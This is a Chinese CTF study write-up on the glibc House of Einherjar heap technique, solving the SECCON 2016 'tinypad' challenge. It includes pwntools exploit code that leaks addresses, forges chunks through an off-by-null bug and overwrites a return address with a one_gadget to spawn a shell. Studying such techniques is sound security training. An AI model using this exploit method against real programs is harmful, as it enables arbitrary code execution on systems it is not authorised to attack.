【PWN学习之House of 系列】House Of Einherjar
写在前面
有路线
的学习一下 glibc 堆利用的 house of 系列利用手法。
主要参考以下文章以及文章中涉及的连接。
https://roderickchan.github.io/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation
简介
漏洞成因
溢出写、off by one、off by null
适用范围
- 2.23—— 至今
- 可分配大于处于 unsortedbin 的 chunk
利用原理
利用 off by null 修改掉 chunk 的 size 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping。
- 申请 chunk A、chunk B、chunk C、chunk D,chunk D 用来做隔离,chunk A、chunk C 都要处于 unsortedbin 范围
- 释放 A,进入 unsortedbin
- 对 B 写操作的时候存在 off by null,修改了 C 的 P 位
- 释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面
- 读写合并后的大 chunk 可以操作 chunk B 的内容,chunk B 的头
利用效果
构造 chunk overlap 后,可以任意地址分配
结合其他方法进行任意地址读写
个人理解
绕过unlink检查会比较繁琐
例题讲解
题目链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/house-of-einherjar/2016_seccon_tinypad
检查保护
64位程序,Full RELRO表明程序got表不可写,未开启PIE,全局变量地址已知
分析程序流程
程序只允许最大同时有4个堆块且不超过0x100
read_until存在off by null的漏洞
free后,只是将size置为零,未将数组内的指针置为0,存在UAF漏洞
edit功能中没有对堆的长度做检查,这里存在堆溢出漏洞(不仅仅是off by null)由于size为0x100,我们堆溢出最多覆盖下一个堆的两个字节。
patch 程序
将程序patch为libc 2.23
漏洞利用
-
堆布局
madd(1,0x40,b"a"*0x18) madd(2,0x40,payload) madd(3,0xf0,b"a"*0x18) madd(4,0x100,b"a"*0xff)
-
free chunk1、chunk2、chunk3
注意顺序,因为堆存在页对齐,故chunk1的地址必定是0xxxxx000,存在\x00截断,所以泄漏不出来chunk1的地址mfree(2) # mfree(1) mfree(3) p.recvuntil("INDEX: 1") p.recvuntil("CONTENT: ") heap_2_addr = u64(p.recvuntil("\x0a\x0a\x0a")[:-3].ljust(8,b"\x00")) p.recvuntil("INDEX: 3") p.recvuntil("CONTENT: ") libc_base = u64(p.recvuntil("\x0a\x0a\x0a")[:-3].ljust(8,b"\x00"))-0x3c3b78 main_arena_88 = libc_base+0x3c3b78 environ_addr = libc_base + libc.sym['__environ'] system_addr = libc_base+ libc.sym['system'] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
-
伪造offset
因为libc2.23的unlink检查if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); // 检查 fd 和 bk 指针(双向链表完整性检查) if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV);
其中 offset= chunk3-target
由于存在\x00截断,所以offset需要倒着写heap_array = 0x602040 target_addr = 0x602060 offset = heap_2_addr - target_addr +0x50 madd(1,0x48,b"a"*0x47) madd(2,0x48,b"b"*0x48) madd(3,0xf0,"c"*0xf0) payload = b"j"*0x48+p64(0x100) medit(2,payload) # 溢出清除preuse=0 len_of_zero =(16-len(str(hex(offset)))+2)//2 for i in range(0,len_of_zero): medit(2,b"a"*(0x48-i)) payload1 = b'j'*0x40 + p64(offset) medit(2,payload1) # 填写offset
-
伪造target chunk
payload = b"a"*0x20+b"a"*8+p64(0x101)+p64(target_addr)*2 medit(1,payload) mfree(3)
我们的目标地址已经进入unsortedbin,但是该chunk的size太大还需要改回来
len_of_zero =(16-len(str(hex(0x101)))+2)//2 for i in range(0,len_of_zero): medit(1,b"d"*(0x30-i)) payload2 = b"k"*0x20+b"a"*8+p64(0x101) medit(1,payload2)
-
修改栈地址,get shell
当我们再申请一个0xf8大小的堆块时,程序就会把tinypad+0x20处的地址返回给我们了。我们就可以修改从tinypad+0x20开始,0xf0大小的数据,tinypad+0x100处存储了第一个堆块的size和ptr,tinypad+0x110处存储了第二个堆块的size和ptr。这两个堆块的ptr我们已经可以进行修改了。
由于malloc_hook处的值是0,我们无法通过edit的方式把onegadget写入malloc_hook(因为malloc_hook的strlen是0,无法读入数据)。那么我们就可以通过修改函数的返回地址为onegadget。
修改函数的返回地址需要把程序保存返回地址的位置的值修改掉。我们需要泄露栈地址。libc中有一个符号’environ’存储了栈中的一个地址。我们可以利用它来得到栈地址。
将chunk1的地址改成environ的地址,目的是通过show得到environ中的数据(一个栈地址)。将chunk2的地址改成保存chunk1的地址处的地址(0x602148),目的是方便修改chunk1的指针值。payload = b"a"*0xd0+b"b"*8+p64(environ_addr)+ p64(0x100) + p64(0x602148) # tinypad index2 存的是index1 的heap地址,如果edit2就相当于改了edit1的heap地址 madd(3,0xf0,payload) # environ存储的栈地址读出来 offset = 0xf0 # 调试得来 p.recvuntil("INDEX: 1") p.recvuntil("CONTENT: ") stack_addr = u64(p.recvuntil("\x0a\x0a\x0a")[:-3].ljust(8,b"\x00"))# 获取栈地址
stack_next_hop_addr = stack_addr - offset payload = p64(stack_next_hop_addr) log.info('heap_2_addr:0x%x'%(heap_2_addr)) log.info('offset:0x%x'%(offset)) log.info('environ_addr:0x%x'%(environ_addr)) log.info('libc_addr:0x%x'%(libc_base)) log.info('stack_addr:0x%x'%(stack_addr)) log.info('stack_next_hop_addr:0x%x'%(stack_next_hop_addr)) log.info('bin_sh_addr:0x%x'%(bin_sh_addr)) medit(2,payload) #index1 的heap addr 改为栈上的地址 onegadget_addr = libc_base+onegadget_array[0] payload = p64(onegadget_addr) medit(1,payload) # 通过edit1,将栈上的返回地址改成onegadget,getshell
将0x00007fffffffddb8指向的值改为 onegedget地址,getshell
TODO
- 在高版本glibc下的绕过unlink检查
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!